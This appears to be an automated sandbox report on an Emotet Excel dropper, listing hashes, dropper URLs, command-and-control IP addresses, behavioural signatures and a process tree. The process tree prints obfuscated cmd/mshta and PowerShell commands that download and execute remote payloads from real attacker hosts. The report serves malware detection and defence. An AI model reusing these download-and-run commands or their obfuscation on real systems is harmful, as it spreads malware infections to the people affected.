emotet | bcebf33c0812a0eb18e5261449f212582882eb706df65f5d2f2dd9d3b2c05da1

Analysis

max time kernel
121s
max time network
152s
platform
windows10_x64
resource
win10-en-20211208
submitted
21/01/2022, 14:28

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General

Target
SCAN8643_0006.xls
Size 70KB
Sample220121-rs1nmaaaer
SHA256 bcebf33c0812a0eb18e5261449f212582882eb706df65f5d2f2dd9d3b2c05da1
MD5 1b2471823df460a058782aaf1177bb77
SHA1 d9a66d02064556aa4dfe44c09a6d979dbc63baf4
SHA512 57500d244369c0b8450c81077aac181ff0ad07343b62dfee72a4d5672dc4ae9ac96de6338e4eea1ca63d6734d960c7ff5d855c73cf9a8923f5c8bd88fa38761d
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://0xb907d607/fer/fe2.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3788	2672	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 4 IoCs

flow	pid	Process
33	3524	mshta.exe
36	1368	powershell.exe
38	1368	powershell.exe
43	4016	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1096	rundll32.exe
1476	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Nmsciq\paxqfdycx.ibo	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3472	3524	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2672	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1368	powershell.exe
1368	powershell.exe
3472	WerFault.exe
3472	WerFault.exe
3472	WerFault.exe
3472	WerFault.exe
3472	WerFault.exe
3472	WerFault.exe
3472	WerFault.exe
3472	WerFault.exe
3472	WerFault.exe
3472	WerFault.exe
3472	WerFault.exe
3472	WerFault.exe
3472	WerFault.exe
3472	WerFault.exe
1368	powershell.exe
4016	rundll32.exe
4016	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeDebugPrivilege	3472	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2672 wrote to memory of 3788	2672	EXCEL.EXE	71
PID 2672 wrote to memory of 3788	2672	EXCEL.EXE	71
PID 3788 wrote to memory of 3524	3788	cmd.exe	73
PID 3788 wrote to memory of 3524	3788	cmd.exe	73
PID 3524 wrote to memory of 1368	3524	mshta.exe	75
PID 3524 wrote to memory of 1368	3524	mshta.exe	75
PID 1368 wrote to memory of 3356	1368	powershell.exe	78
PID 1368 wrote to memory of 3356	1368	powershell.exe	78
PID 3356 wrote to memory of 1096	3356	cmd.exe	79
PID 3356 wrote to memory of 1096	3356	cmd.exe	79
PID 3356 wrote to memory of 1096	3356	cmd.exe	79
PID 1096 wrote to memory of 1476	1096	rundll32.exe	80
PID 1096 wrote to memory of 1476	1096	rundll32.exe	80
PID 1096 wrote to memory of 1476	1096	rundll32.exe	80
PID 1476 wrote to memory of 960	1476	rundll32.exe	81
PID 1476 wrote to memory of 960	1476	rundll32.exe	81
PID 1476 wrote to memory of 960	1476	rundll32.exe	81
PID 960 wrote to memory of 4016	960	rundll32.exe	82
PID 960 wrote to memory of 4016	960	rundll32.exe	82
PID 960 wrote to memory of 4016	960	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SCAN8643_0006.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2672
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3788
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3524
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1368
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3356
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1096
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1476
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Nmsciq\paxqfdycx.ibo",TuIkUkfUHwTikP
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:960
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Nmsciq\paxqfdycx.ibo",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:4016
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3524 -s 1696
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3472

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/960-1568-0x0000000003F40000-0x0000000003F66000-memory.dmp

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memory/1096-1535-0x0000000002F70000-0x0000000002F96000-memory.dmp

Download

memory/1368-1507-0x000002072D540000-0x000002072D57C000-memory.dmp

Download

memory/1368-1487-0x000002072D3D0000-0x000002072D3F2000-memory.dmp

Download

memory/1368-1524-0x00000207134C0000-0x0000020713560000-memory.dmp

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memory/1368-1519-0x000002072DAB0000-0x000002072DB26000-memory.dmp

Download

memory/1368-1488-0x00000207134C0000-0x0000020713560000-memory.dmp

Download

memory/1368-1486-0x00000207134C0000-0x0000020713560000-memory.dmp

Download

memory/1476-1547-0x0000000004A90000-0x0000000004AB6000-memory.dmp

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memory/1476-1562-0x0000000005180000-0x00000000051A6000-memory.dmp

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memory/1476-1564-0x0000000005280000-0x00000000052A6000-memory.dmp

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memory/1476-1566-0x00000000052E0000-0x0000000005306000-memory.dmp

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memory/1476-1570-0x0000000005440000-0x0000000005466000-memory.dmp

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memory/2672-115-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

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memory/2672-116-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

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memory/4016-1571-0x0000000000250000-0x0000000000276000-memory.dmp

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memory/4016-1573-0x00000000004C0000-0x00000000004E6000-memory.dmp

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